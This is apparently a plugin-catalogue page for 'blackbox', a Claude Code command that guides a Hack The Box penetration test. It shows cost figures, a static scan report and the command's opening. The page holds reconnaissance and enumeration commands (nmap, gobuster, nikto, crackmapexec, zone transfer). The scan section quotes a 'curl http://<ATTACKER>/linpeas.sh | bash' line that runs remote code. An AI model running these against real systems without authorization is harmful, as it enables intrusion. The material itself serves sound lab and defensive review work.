blackbox

blackbox is a command for Claude Code from allsmog/blackbox-claude-plugin. It costs 45 tokens per session (961 once invoked), scanned B, original, MIT.

A command that guides a complete black-box penetration test of a Hack The Box machine. Black-box testing starts with little or no internal knowledge and follows reconnaissance, service inspection, exploitation, and privilege escalation.

In plain words
What is it for?
Use it when starting a new Hack The Box challenge to check tools, scan ports, inspect services, identify weaknesses, and guide exploitation.
Why use it?
It puts the main testing phases and required tools into one workflow, reducing the chance of skipping an important stage.

Command for Claude Code

Written for Claude Code: allowed-tools in frontmatter. Also seen: names the TodoWrite tool.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Use it when starting a new Hack The Box challenge to check…

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/allsmog/blackbox-claude-plugin/blackbox
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for blackbox

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/blackbox.svg)](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/blackbox)
Your own site
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/blackbox"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/blackbox.svg" alt="Measured on agentmods" height="20"></a>
Per session 45 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 961 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00045 $0.00961
Opus 5 $0.00023 $0.00481
Sonnet 5 $0.00009 $0.00192
Haiku 4.5 $0.00005 $0.00096

Measured 7d ago against content hash 6936de837c19, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

blackbox scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo nmap -sU --top-ports 20 -oN nmap_udp.txt <TARGET>

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl http://<ATTACKER>/linpeas.sh | bash

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl/wget for file transfers
blackbox-htb/commands/blackbox.md · 159 lines

How it starts

The opening of the file, as written. The whole thing — 159 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Full Black-Box Penetration Test

Overview

This command executes a complete automated penetration testing methodology against a target HTB machine. It follows the standard pentest phases: Reconnaissance → Enumeration → Exploitation → Privilege Escalation.

Prerequisites

  • nmap installed and accessible
  • gobuster or feroxbuster for web fuzzing
  • nikto for web vulnerability scanning
  • crackmapexec for Windows/AD enumeration
  • hydra for credential attacks
  • curl/wget for file transfers

Execution Flow

Phase 1: Environment Setup

First, verify all required tools are installed:

# Check core tools
which nmap gobuster nikto crackmapexec hydra

If tools are missing, inform the user and suggest installation commands.

Phase 2: Initial Reconnaissance

Run comprehensive port scanning:

# Quick scan for common ports
nmap -sC -sV -oN nmap_initial.txt <TARGET>

# Full TCP port scan (run in background)
nmap -p- -T4 -oN nmap_full.txt <TARGET>

# UDP scan for top ports
sudo nmap -sU --top-ports 20 -oN nmap_udp.txt <TARGET>

Phase 3: Service Enumeration

Based on discovered ports, run targeted enumeration:

For HTTP/HTTPS (80, 443, 8080):

# Directory fuzzing
gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt

# Vulnerability scan
nikto -h http://<TARGET> -o nikto.txt

For SMB (445):

# Share enumeration
crackmapexec smb <TARGET> --shares
smbclient -L //<TARGET> -N

For SSH (22):

# Banner grab and version check
nc -nv <TARGET> 22

For DNS (53):

# Zone transfer attempt
dig axfr @<TARGET> <DOMAIN>

Phase 4: Vulnerability Identification

Based on enumeration results:

  1. Search for known exploits using searchsploit
  2. Check for default credentials
  3. Identify misconfigurations
  4. Look for information disclosure
searchsploit <service_name> <version>

Phase 5: Exploitation Guidance

Based on findings, suggest:

  1. Exploit modules (Metasploit or manual)
  2. Credential attacks if login forms found
  3. File upload vulnerabilities
  4. Command injection vectors

Read the full file on GitHub · 159 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 159 lines · 45 tokens per session scan B 6936de837c19

Subscribe to this mod's changes

blackbox is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 45 tokens to every session and 961 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (asks for root, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.